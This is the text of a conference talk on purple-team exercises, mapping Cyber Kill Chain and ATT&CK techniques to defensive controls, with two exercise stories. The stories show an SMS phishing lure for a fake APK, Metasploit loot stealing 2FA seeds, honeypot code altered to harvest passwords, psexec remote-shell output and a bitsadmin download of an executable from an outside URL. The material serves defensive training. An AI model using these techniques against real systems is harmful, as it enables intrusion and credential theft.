Purple Teaming the Cyber Kill Chain

Practical Exercises for Management Everyone
whoami
Chris Gates - Sr. Incident Response Engineer - Uber Inc.

Twitter: @carnal0wnage
Blog: carnal0wnage.attackresearch.com
Talks: slideshare.net/chrisgates
Haydn Johnson - Security Consultant - Researcher

Twitter: @haydnjohnson
Talks: BsidesTO (2015, 2016), Circle City Con, BsidesLV
Big 4 experience
http://www.slideshare.net/HaydnJohnson

[Logo for Offensive Security OSCP]  [Logo for GXPN]

@haydnjohnson @carnal0wnage
Overview

1. Terminology for our discussion
2. Explain this Cyber Kill Chain (CKC) thing
3. Use CKC to plan possible Purple Team exercises
4. Purple Team Story Time
Terminology
Terminology

**Vulnerability Assessment Person** - Run Vuln Scanner....hey client you suck

**Penetration Tester** - Metasploit /MSF PRO (FTW)...hey client you suck

**Red Teaming** - Phish, move laterally, find “sensitive stuff”, maybe custom implant...hey client you suck

**Purple Teaming** - You did all the above, but got to charge for an extra body and to tell the client how they suck in person
No Really...

Red Teaming -

“Red Team engagements are the full spectrum warfare of security assessments. In a red team engagement, the consultants attack the client organization using physical means, social engineering, and technological avenues. “

From: http://winterspite.com/security/phrasing/
**EP Convergence**
Attacks on physical systems that are network enabled

**Electronic**
- Exploitation
- Lateral Movements
- Implants

**ES Convergence**
- Phishing
- Profiling
- Creating moles
- Blackmail

**Physical**
- Direct attack on facilities and systems
- Surveillance / Bugging

**Social**
- In person Social Engineering
- Phone conversations
- Social profiling
- Baiting

**PS Convergence**
- Tailgating
- Impersonation

From: Chris Nickerson Lares Consulting
You can’t Red Team yourself

But you sure as hell can conduct training...and detection/protection validation

http://redteamjournal.com/red-teaming-laws/
Purple Team Process
No Really...

**Purple Teaming** - Conducting focused pentesting (up to Red Teaming) with **clear training** objectives for the Blue Team.

It isn't a "can you get access to X" exercise it is a "train the Blue Team on X" exercise. The Red Team activities are a means to conduct realistic training.

More here: http://carnal0wnage.attackresearch.com/2016/03/more-on-purple-teaming.html
Purple Teaming Process

Training Exercise!

1. Primary result of the exercise is create an intrusion event (aka **get caught**) to test instrumentation (host/network), validate detection processes and procedures, validate protections in place, force response procedures and post mortems.

Differs from Red Team where primary goal is to NOT get caught
Purple Teaming Process

Training Exercise + work the IR process

Investigate Logging vs Alert + action

○ Is the event logged at all?
○ Logged event != alert
○ Does alert == action taken?
○ Purple Team it!
But I need ideas for scenarios!

Handy transition slide
Pyramid of Pain

http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html
Lockheed Martin Cyber Kill Chain

Worst. Name. Ever.

“The seven steps of the Lockheed Martin Cyber Kill Chain® enhance visibility into an attack and enrich an analyst’s understanding of an adversary’s tactics, techniques and procedures.”

http://cyber.lockheedmartin.com/solutions/cyber-kill-chain
CKC is a great idea!

This is an integrated, end-to-end process described as a “chain” because any one deficiency will interrupt the entire process.

AKA:

Any deficiency in the attackers chain, will interrupt the entire process.
How to use CKC
Using the CKC to drive Exercises

<table>
<thead>
<tr>
<th>Phase</th>
<th>Detect</th>
<th>Deny</th>
<th>Disrupt</th>
<th>Degrade</th>
<th>Deceive</th>
<th>Contain</th>
</tr>
</thead>
<tbody>
<tr>
<td>Reconnaissance</td>
<td>Web Analytics</td>
<td>Firewall ACL</td>
<td></td>
<td></td>
<td>Firewall ACL</td>
<td>NIPS</td>
</tr>
<tr>
<td>Weaponization</td>
<td>NIDS</td>
<td>NIPS</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Delivery</td>
<td>Vigilant User</td>
<td>Proxy Filter</td>
<td>Inline AV</td>
<td>Queuing</td>
<td></td>
<td>App-Aware Firewall</td>
</tr>
<tr>
<td>Exploitation</td>
<td>HIDS</td>
<td>Patch</td>
<td>DEP</td>
<td></td>
<td>Inter-Zone NIPS</td>
<td></td>
</tr>
<tr>
<td>Installation</td>
<td>HIDS</td>
<td>‘chroot’ Jail</td>
<td>AV</td>
<td></td>
<td></td>
<td>EPP</td>
</tr>
<tr>
<td>Command &amp; Control</td>
<td>NIDS</td>
<td>Firewall ACL</td>
<td>NIPS</td>
<td>Tarpit</td>
<td>DNS Redirect</td>
<td>Trust Zones</td>
</tr>
<tr>
<td>Actions on Targets</td>
<td>Audit Logs</td>
<td>Outbound ACL</td>
<td>DLP</td>
<td>Quality of Service</td>
<td>Honeypot</td>
<td>Trust Zones</td>
</tr>
</tbody>
</table>

Using the CKC to drive Exercises

- Rather than consolidate all attacker activities into a single chart. We **could** create charts for various attack types or CKC steps.
- This would force us to identify and DOCUMENT an organization’s methods to Detect, Deny, Disrupt, Degrade, Deceive & Contain (Destroy) for any attack type.
- As an added bonus, it creates Purple Team exercises for us when we create a plan to validate the info in the chart.
Example Attack Types

Adversarial Tactics, Techniques & Common Knowledge

What's New

The July 2016 update includes a number of changes to the threat model and new features to the ATT&CK model:

- Expanded the tactics to ten with the inclusion of Collection
- Changed Host Enumeration to Discovery
- Expanded to 121 techniques from the original 96
- Enhanced the descriptions and information within many techniques
- Techniques can now be referenced by their technique ID in the site instead of by name
- Revamped the representation of threat Groups and the Software they use
- Added many new references to public threat reporting
- A subset of techniques now reference related attack pattern entries within CAPEC

Introduction

Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK™) is a model and framework for describing the actions an adversary may take while operating within an enterprise network. The model can be used to better characterize and describe post-compromise adversary behavior. It both expands the knowledge of network defenders and assists in prioritizing network defense by detailing the post-compromise (post-exploit and successful access) tactics, techniques, and procedures (TTPs) advanced persistent threats (APT) use to execute their objectives while operating inside a network.

https://attack.mitre.org/wiki/Main_Page
## Example Attack Types

<table>
<thead>
<tr>
<th>Persistence</th>
<th>Privilege Escalation</th>
<th>Defense Evasion</th>
<th>Credential Access</th>
<th>Host Enumeration</th>
<th>Lateral Movement</th>
<th>Execution</th>
<th>C2</th>
<th>Exfiltration</th>
</tr>
</thead>
<tbody>
<tr>
<td>Accessible Features</td>
<td>AddMonitor</td>
<td>DLL Side-Loading</td>
<td>Credential Dumping</td>
<td>Account Enumeration</td>
<td>Application deployment software</td>
<td>Command Line</td>
<td>Commonly used port</td>
<td>Automated or scripted exfiltration</td>
</tr>
<tr>
<td>Edit Default File Handlers</td>
<td>New Service</td>
<td>Path Interception</td>
<td>Credentials in Files</td>
<td>File system enumeration</td>
<td>Exploitation of Vulnerability</td>
<td>File Access</td>
<td>Data compressed</td>
<td>Data compressed</td>
</tr>
<tr>
<td>New Service</td>
<td>Path Interception</td>
<td>Service File Permission Weakness</td>
<td>Network Sniffing</td>
<td>File system enumeration</td>
<td>Logon scripts</td>
<td>PowerShell</td>
<td>Data size limits</td>
<td>Data size limits</td>
</tr>
<tr>
<td>Service File Permission Weakness</td>
<td>Path Interception</td>
<td>Service File Permission Weakness</td>
<td>User Interaction</td>
<td>User Interaction</td>
<td>Group permission enumeration</td>
<td>Process Hollowing</td>
<td>Data staged</td>
<td>Data staged</td>
</tr>
<tr>
<td>BIOS</td>
<td>Hypervisor Rootkit</td>
<td>BIOS Injection</td>
<td>Bypass UAC</td>
<td>Local networking enumeration</td>
<td>Remote Desktop Protocol</td>
<td>Process Hollowing</td>
<td>Exfiltrate over C2 network</td>
<td>Exfiltrate over C2 network</td>
</tr>
<tr>
<td>BIOS</td>
<td>Hypervisor Rootkit</td>
<td>BIOS Injection</td>
<td>Bypass UAC</td>
<td>Local networking enumeration</td>
<td>Remote Desktop Protocol</td>
<td>Process Hollowing</td>
<td>Exfiltrate over alternate channel to C2 network</td>
<td>Exfiltrate over alternate channel to C2 network</td>
</tr>
<tr>
<td>BIOS</td>
<td>Hypervisor Rootkit</td>
<td>BIOS Injection</td>
<td>Bypass UAC</td>
<td>Local networking enumeration</td>
<td>Remote Desktop Protocol</td>
<td>Process Hollowing</td>
<td>Exfiltrate over other network medium</td>
<td>Exfiltrate over other network medium</td>
</tr>
<tr>
<td>BIOS</td>
<td>Hypervisor Rootkit</td>
<td>BIOS Injection</td>
<td>Bypass UAC</td>
<td>Local networking enumeration</td>
<td>Remote Desktop Protocol</td>
<td>Process Hollowing</td>
<td>Exfiltrate over physical medium</td>
<td>Exfiltrate over physical medium</td>
</tr>
<tr>
<td>BIOS</td>
<td>Hypervisor Rootkit</td>
<td>BIOS Injection</td>
<td>Bypass UAC</td>
<td>Local networking enumeration</td>
<td>Remote Desktop Protocol</td>
<td>Process Hollowing</td>
<td>Exfiltrate from local system</td>
<td>From local system</td>
</tr>
<tr>
<td>BIOS</td>
<td>Hypervisor Rootkit</td>
<td>BIOS Injection</td>
<td>Bypass UAC</td>
<td>Local networking enumeration</td>
<td>Remote Desktop Protocol</td>
<td>Process Hollowing</td>
<td>Exfiltrate from network resource</td>
<td>From network resource</td>
</tr>
<tr>
<td>Hypervisor Rootkit</td>
<td>Hypervisor Rootkit</td>
<td>BIOS Injection</td>
<td>Bypass UAC</td>
<td>Local networking enumeration</td>
<td>Remote Desktop Protocol</td>
<td>Process Hollowing</td>
<td>Exfiltrate from removable media</td>
<td>From removable media</td>
</tr>
<tr>
<td>BIOS</td>
<td>Hypervisor Rootkit</td>
<td>BIOS Injection</td>
<td>Bypass UAC</td>
<td>Local networking enumeration</td>
<td>Remote Desktop Protocol</td>
<td>Process Hollowing</td>
<td>Exfiltrate from removable media</td>
<td>From removable media</td>
</tr>
<tr>
<td>BIOS</td>
<td>Hypervisor Rootkit</td>
<td>BIOS Injection</td>
<td>Bypass UAC</td>
<td>Local networking enumeration</td>
<td>Remote Desktop Protocol</td>
<td>Process Hollowing</td>
<td>Exfiltrate from removable media</td>
<td>From removable media</td>
</tr>
<tr>
<td>BIOS</td>
<td>Hypervisor Rootkit</td>
<td>BIOS Injection</td>
<td>Bypass UAC</td>
<td>Local networking enumeration</td>
<td>Remote Desktop Protocol</td>
<td>Process Hollowing</td>
<td>Exfiltrate from removable media</td>
<td>From removable media</td>
</tr>
</tbody>
</table>
## Example Attack Types

The MITRE ATT&CK Matrix™ is an overview of the tactics and techniques described in the ATT&CK model. It visually aligns individual techniques under the tactics in which they can be applied. Some techniques span more than one tactic because they can be used for different purposes.

<table>
<thead>
<tr>
<th>Persistence</th>
<th>Privilege Escalation</th>
<th>Defense Evasion</th>
<th>Credential Access</th>
<th>Discovery</th>
<th>Lateral Movement</th>
<th>Execution</th>
<th>Collection</th>
<th>Exfiltration</th>
<th>Command and Control</th>
</tr>
</thead>
<tbody>
<tr>
<td>Accessibility Features</td>
<td>Accessibility Features</td>
<td>Binary Padding</td>
<td>Brute Force</td>
<td>Account Discovery</td>
<td>Application Deployment Software</td>
<td>Command-Line Interface</td>
<td>Automated Collection</td>
<td>Automated Exfiltration</td>
<td>Commonly Used Port</td>
</tr>
<tr>
<td>AppInit DLLs</td>
<td>AppInit DLLs</td>
<td>Bypass User Account Control</td>
<td>Credential Dumping</td>
<td>Application Window Discovery</td>
<td>Exploitation of Vulnerability</td>
<td>Execution through API</td>
<td>Clipboard Data</td>
<td>Data Compressed</td>
<td>Communication Through Removable Media</td>
</tr>
<tr>
<td>Basic Input/Output System</td>
<td>Bypass User Account Control</td>
<td>Code Signing</td>
<td>Credential Manipulation</td>
<td>File and Directory Discovery</td>
<td>Logon Scripts</td>
<td>Graphical User Interface</td>
<td>Data Staged</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
</tr>
<tr>
<td>Bootkit</td>
<td>DLL Injection</td>
<td>Component Firmware</td>
<td>Credentials in Files</td>
<td>Local Network Configuration Discovery</td>
<td>Pass the Hash</td>
<td>InstallUtil</td>
<td>Data from Local System</td>
<td>Data Transfer Size Limits</td>
<td>Custom Command and Control Protocol</td>
</tr>
<tr>
<td>Change Default File Association</td>
<td>DLL Search Order Hijacking</td>
<td>Component Object Model Hijacking</td>
<td>Exploitation of Vulnerability</td>
<td>Local Network Connections Discovery</td>
<td>Pass the Ticket</td>
<td>PowerShell</td>
<td>Data from Network Shared Drive</td>
<td>Exfiltration Over Alternative Protocol</td>
<td>Custom Cryptographic Protocol</td>
</tr>
</tbody>
</table>

[https://attack.mitre.org/wiki/Main_Page](https://attack.mitre.org/wiki/Main_Page)
# Example Attack Types

<table>
<thead>
<tr>
<th>A</th>
<th>B</th>
<th>C</th>
<th>D</th>
<th>E</th>
</tr>
</thead>
<tbody>
<tr>
<td>Technique</td>
<td>Tool</td>
<td>Function</td>
<td>Methods for detection</td>
<td>Methods for protection</td>
</tr>
<tr>
<td>Actions on Objective</td>
<td></td>
<td>Intruders take actions to achieve their</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>original objectives</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Discovery</td>
<td></td>
<td>Discovery consists of techniques that</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>allow the adversary to gain knowledge</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>about the system and internal network</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Account Discovery</td>
<td>net.exe</td>
<td>Adversaries may attempt to get a</td>
<td>Carbon Black, bit9, command line</td>
<td>GPO to block net.exe</td>
</tr>
<tr>
<td></td>
<td></td>
<td>listing of local system or domain</td>
<td>logging</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>accounts.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Application Window Discovery</td>
<td></td>
<td>Adversaries may attempt to get a</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>listing of open application windows.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>File and Directory Discovery</td>
<td></td>
<td>Adversaries may enumerate files and</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>directories or may search in specific</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>locations of a host or network share</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>for certain information within a file</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>system.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Local Network Configuration</td>
<td></td>
<td>Adversaries will likely look for details</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Discovery</td>
<td></td>
<td>about the network configuration and</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>settings of systems they access.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Local Network Connections</td>
<td></td>
<td>Adversaries may attempt to get a</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Discovery</td>
<td></td>
<td>listing of network connections to or</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>from the compromised system.</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Mimikatz Example

- Mimikatz affects almost all organizations

- Outline your defenses against the tool
  - AV
  - Md5
  - Command line usage
  - Code certificate details
  - Windows Hardening
  - Detection (via ATA)

- [https://adsecurity.org/?page_id=1821](https://adsecurity.org/?page_id=1821)
# Mimikatz Example

<table>
<thead>
<tr>
<th>Phase</th>
<th>Detect</th>
<th>Deny</th>
<th>Disrupt</th>
<th>Degrade</th>
<th>Deceive</th>
<th>Contain</th>
</tr>
</thead>
<tbody>
<tr>
<td>Reconnaissance</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Weaponization</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Delivery</td>
<td>- md5 on disk</td>
<td>- Block code author</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>- YARA rules</td>
<td>- Antivirus</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>- Antivirus</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Exploitation</td>
<td>- Golden ticket anomalies</td>
<td>- Patch &amp; Registry hardening</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>- Command line detection</td>
<td>- Protected User Groups</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>- ATA mimikatz detection</td>
<td>- Enable LSA protection</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>- Powershell logging</td>
<td>- Application whitelisting</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>- Canary/Dummy Administrator account</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Random account passwords</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Canary accounts</td>
<td></td>
<td></td>
<td></td>
<td>block md5</td>
</tr>
<tr>
<td>Installation</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Command &amp; Control (C2)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Actions on Objectives</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Mimikatz Example

Purple Team

- Pack, Recompile, Sign with different code sign certificate
- Powershell mimikatz
- Various whitelist bypass techniques
- Validate
  - Protected User Groups
  - LSA Protection
  - Registry changes prevent wdigest clear text
  - Alerting!
Lateral Movement Example

- We could attempt to document every Lateral Movement tool / technique

- Instead focus on how you detect/protect/respond to a tool or suite of tools
  - Ex: impacket
# Lateral Movement -- impacket-psexec.py

<table>
<thead>
<tr>
<th>Phase</th>
<th>Detect</th>
<th>Deny</th>
<th>Disrupt</th>
<th>Degrade</th>
<th>Deceive</th>
<th>Contain</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Reconnaissance</strong></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td><strong>Weaponization</strong></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td><strong>Delivery</strong></td>
<td>- osquery, carbon black, sysmon</td>
<td>- Limiting workstation to workstation communication</td>
<td></td>
<td></td>
<td></td>
<td>block md5</td>
</tr>
<tr>
<td></td>
<td></td>
<td>- block service md5 (remcom)</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td><strong>Exploitation</strong></td>
<td>- 4 Character random string of service name it creates</td>
<td>- Block based on 4 character random string on service creation</td>
<td>- Block unsigned service execution</td>
<td>ACLs</td>
<td>Restricted User Accounts</td>
<td>- Dummy Accounts - Canary/Honey pots</td>
</tr>
<tr>
<td><strong>Installation</strong></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td><strong>Command &amp; Control (C2)</strong></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td><strong>Actions on Objectives</strong></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Lateral Movement Example

**Purple Team**

- Run `impacket.py` in default config
  - Did you detect it?
  - Tweak detection/deny/etc until you do!
- Let your Red Team modify `impacket`
  - Repeat the detect/deny process until the tool is unusable in your org
- Do your GPO settings prevent most use cases?
Malicious Attachments

- Everyone employs' some sort of malicious attachment protection
  - Google mail for business
  - Office 365
  - Proofpoint
  - FireEye
- Do you test it? Or do you just hope for the best?
## Malicious Attachments

<table>
<thead>
<tr>
<th>Phase</th>
<th>Detect</th>
<th>Deny</th>
<th>Disrupt</th>
<th>Degrade</th>
<th>Deceive</th>
<th>Contain</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Reconnaissance</strong></td>
<td>Increase in spam or AV hits</td>
<td>Restrictive Mail rules</td>
<td></td>
<td>-Mail Server rate limits</td>
<td>-require valid MX records</td>
<td>$company IR Process</td>
</tr>
<tr>
<td><strong>Weaponization</strong></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td><strong>Delivery</strong></td>
<td>-Blocked File Attachments</td>
<td>Blocked File Attachments</td>
<td>MX AV, in-line AV</td>
<td>-Mail Server rate limits</td>
<td>-require valid MX records</td>
<td>Honeypots/Malware Analysis (Joe sandbox/etc)</td>
</tr>
<tr>
<td><strong>Exploitation</strong></td>
<td>AV/HIDS</td>
<td>Application Whitelisting/HIPS</td>
<td></td>
<td></td>
<td></td>
<td>Honeypots/Canaries</td>
</tr>
<tr>
<td><strong>Installation</strong></td>
<td>AV/HIDS</td>
<td>Application Whitelisting/HIPS</td>
<td>Limit Permissions</td>
<td></td>
<td></td>
<td>Honeypots/Canaries</td>
</tr>
<tr>
<td><strong>Command &amp; Control (C2)</strong></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td><strong>Actions on Objectives</strong></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Malicious Attachments

https://github.com/carnal0wnage/malicious_file_maker

```python
#make archives with the js file which gmail allows
make_zip('calcjs.zip', 'calc.js')
make_encrypted_zip('calcjs_encrypt.zip', 'calc.js')
make_7zip('calcjs.7z', 'calc.js')
make_tar('calcjs.tar', 'calc.js')
make_targz('calcjs.tar.gz', 'calc.js')
make_tarbz2('calcjs.tar.bz2', 'calc.js')
make_gzip('calcjs.gzip', 'calc.js')
make_bzip2('calcjs.bzip2', 'calc.js')
make_xz('calcjs.xz', 'calc.js')

#try zipping all the blocked stuff
make_zip('calc_hata.zip', 'calc_hata.hata')
make_zip('calc_lnk.zip', 'calc.lnk')
make_zip('calc_enc_jse.zip', 'calc_enc.jse')
make_zip('calc_enc_vbe.zip', 'calc_enc.vbe')
make_zip('calc_bat.zip', 'calc.bat')
make_zip('calc_cmd.zip', 'calc.cmd')
make_zip('calc_vbs.zip', 'calc.vbs')
make_zip('calc_wsf.zip', 'calc.wsf')
```
Malicious Attachments

<table>
<thead>
<tr>
<th>Star Rating</th>
<th>Username</th>
<th>Attachment Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>☐</td>
<td>pythontest</td>
<td>calc_wsf.bzip</td>
<td>calc_wsf.bzip</td>
</tr>
<tr>
<td>☐</td>
<td>pythontest</td>
<td>calc_enc_vbe.bzip</td>
<td>calc_enc_vbe.bzip</td>
</tr>
<tr>
<td>☐</td>
<td>pythontest</td>
<td>calc_vbs.bzip</td>
<td>calc_vbs.bzip</td>
</tr>
<tr>
<td>☐</td>
<td>pythontest</td>
<td>calc_hta.bzip</td>
<td>calc_hta.bzip</td>
</tr>
<tr>
<td>☐</td>
<td>pythontest</td>
<td>calc_bat.bzip</td>
<td>calc_bat.bzip</td>
</tr>
<tr>
<td>☐</td>
<td>pythontest</td>
<td>calc_lnk.bzip</td>
<td>calc_lnk.bzip</td>
</tr>
<tr>
<td>☐</td>
<td>pythontest</td>
<td>calc_enc_jse.bzip</td>
<td>calc_enc_jse.bzip</td>
</tr>
<tr>
<td>☐</td>
<td>pythontest</td>
<td>calc_cmd.bzip</td>
<td>calc_cmd.bzip</td>
</tr>
<tr>
<td>☐</td>
<td>pythontest</td>
<td>calc.ps1</td>
<td>calc.ps1</td>
</tr>
<tr>
<td>☐</td>
<td>pythontest</td>
<td>calc_applescript.zip</td>
<td>calc_applescript.zip</td>
</tr>
</tbody>
</table>
Malicious Attachments

Purple Team

- Send various types of malicious attachments via multiple sources
- Compare to your chart of assumptions
  - How many emails does it take to block a sender?
  - What types of attachments generate alerts?
  - Does suspicious stuff get moved to spam or deleted; do people open spam emails?
  - If sent to employees, do they report?
  - Did any automated actions take place?
CKC Exercise Outcomes

- Mental exercise of how we Detect/Respond/etc to attacks
- Document defense posture
- Answer the “Do the Blinky Boxes work?” question

The Purple Team component

- Validate the spreadsheet is accurate
- Validate the blinky box is doing “something”
- Identify training and coverage gaps for the org
  - Test plan for the above
Story Time #1

“Red Team” @ $canadian Bank

Assume Breach → Privilege Escalation → Meterpreter C2 → Exfiltration - FTP
Story Time #1

Alerts triggered purposely

- Receive call “Check this IP address”
  - $secretpoliceinvestigation
- IP address seen - Investigators go to meeting + lunch
- 2 hours later, identify data exfil
- Sh*t hits fan
- Log into FTP server to delete data
- Execute processes
Story Time #1

Debrief

What we saw

Blue Team

Red Team

The GAP

What was done

== Improvements

@haydnjohnson @carnal0wnage
Story Time #1

Lessons learned

- Process not as effective as it looks
- Road Blocks in communication
Story Time #1

Lessons learned

- Process bypassed
- Hard to collaborate
- Rotating Shifts
Story Time #1

Lessons learned

- IR equipment == slow
- Infrastructure out of date
Story Time #1

Nothing changed in short term

- Big company hard to change quickly
- Issues clearly acknowledged
- Long term plans
Story Time #1

Solutions

- Create defined and clear process for hierarchy
- Training on hacking back - DON’T
- Budget for prioritized upgrade of Lab
- Shift style lunches
Story Time #1

2nd time around

- Better equipment
- Better processes
- Better security culture
- Better collaboration
Story Time #1

2nd time improvements

- Faster detection
- Faster containment
- Faster win
The Point

- What you think works, probably doesn’t
- Test it
- Humans will be humans, including your Blue Team
Story Time #2

Overview of a Purple Teaming Exercise

- IR Manager had identified some gaps plus had new incident responders
  - Mobile Forensics
  - Response to Golden Ticket attack
  - Work thru IR process as a team
- Fully internal -- No external Contractors
- Partnered with senior Blue Team member
- Took things I found pentesting…chained together story for the exercise
- “Create internal havoc” attackers
Story Time #2

SMS Phish**

```
FRM: __________________________ Helpdesk
MSG:A new update is available for your device. Please install the update from the following url: http://
____________________________/android_update.apk
```
Story Time #2

Do you want to install this application? It will get access to:

Privacy:
- directly call phone numbers
  - this may cost you money
- read phone status and identity
- read your text messages (SMS or MMS)
- receive text messages (SMS)
- send SMS messages
  - this may cost you money
- take pictures and videos
- record audio
- precise location (GPS and network-based)

Cancel   Next

Superuser request:

 Grants full access to all device features and storage, potentially dangerous

[ ] Ask again: 15 minutes

Deny     Grant
Story Time #2
Story Time #2
Story Time #2

[*] Downloading the ssh preferences module
preference.xml stored in /root/.msf4/loot/20150813160945_default_1 ...beserker_ssh_pre_304696.txt

[*] Attempting to Download the duo seed material
accounts.json stored in /root/.msf4/loot/20150813160951_default_1 ...duo_seed_materia_027520.txt

[*] Attempting to Download the VPN seed store
Story Time #2
def checklogin(self, thelogin, thepwd):
    """Check entered username/password against database"""
    """Note that it allows multiple passwords for a single username"""
    #begin hax
    #for (login, uid, passwd) in self.userdb:
    #    if login == thelogin and passwd in (thepwd, ''):
    #        return True
    #return False
    with open('/home/kippo/kippo.log', 'w+') as fh:
        fh.write("login=%s, pass=%s\n", thelogin, passwd) #-------- our code :]
        fh.close()
    return True
    #end hax

def user_exists(self, thelogin):
    for (login, uid, passwd) in self.userdb:
        if login == thelogin:
            return True
    return False

root@kali:/home/kippo/kippo/log# grep lol kippo.log
2015-09-12 01:24:58+0000 [SSHSERVICE ssh-userauth on HoneyPotTransport,0,127.0.0.1] lols trying auth none
2015-09-12 01:24:58+0000 [SSHSERVICE ssh-userauth on HoneyPotTransport,0,127.0.0.1] lols trying auth keyboard-interactive
2015-09-12 01:25:00+0000 [SSHSERVICE ssh-userauth on HoneyPotTransport,0,127.0.0.1] login attempt [lols/lol] succeeded
2015-09-12 01:25:00+0000 [SSHSERVICE ssh-userauth on honeyPottTransport,0,127.0.0.1] lols authenticated with keyboard-interactive
Story Time #2
Story Time #2

This program is blocked by group policy. For more information, contact your system administrator.

C:\Install\
Story Time #2

```
root@kali:/impacket/examples# python psexec.py 172.24.248.225 cmd.exe
[*] Trying protocol 445/SMB...
no exe specified -cme
Using random service name {} ;; RunSvc32
[*] Requesting shares on 172.24.248.225.....
[*] Found writable share ADMIN$
[*] Uploading file SHiSVKpb.exe
[*] Opening SVCManager on 172.24.248.225.....
[*] Creating service RunSvc32 on 172.24.248.225.....
[*] Starting service RunSvc32
...........
[!] Press help for extra shell commands
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Windows\system32>ipconfig
```

```
root@kali:/impacket# cat impacket/examples/service_names.txt
LookupFailed
Undefind
RunSvc32
NetLogin
WinLoggedon
NetServiced
NotAKnownServiceName
fSocietySVC
CuSoonSVC
LightsOutSVC
```
Story Time #2

```
C:\>bitsadmin /transfer htp http://...emet.exe c:\update.exe_

DISPLAY: 'htp' TYPE: DOWNLOAD STATE: TRANSFERRING
PRIORITY: NORMAL FILES: 0 / 1 BYTES: 31499 / 62154 (50%)
TRANSFER RATE: 5.77 KB/S TIME REMAINING: 5 Seconds

DISPLAY: 'htp' TYPE: DOWNLOAD STATE: TRANSFERRED
PRIORITY: NORMAL FILES: 1 / 1 BYTES: 62154 / 62154 (100%)
Transfer complete.
C:\>
```
Story Time #2
Story Time #2

BACKDOOR

ALL THE THINGS!!!
Story Time #2
Story Time #2

I think this belongs to you...
Story Time #2

Property of ZHT! You may leave now.
This machine is property of ZHT.
All of your bases are belong to us.
Good day.

OK

We see you, But do you see us? - How's that domain controller? - We'll burn another server every 24 hours. See you soon.

9s
Story Time #2
Story Time #2
So the take away!
Please remember:

**Document** your defenses and protections

Find a way to build your attacks/validation

Pwn all the things...but in a way that helps your organization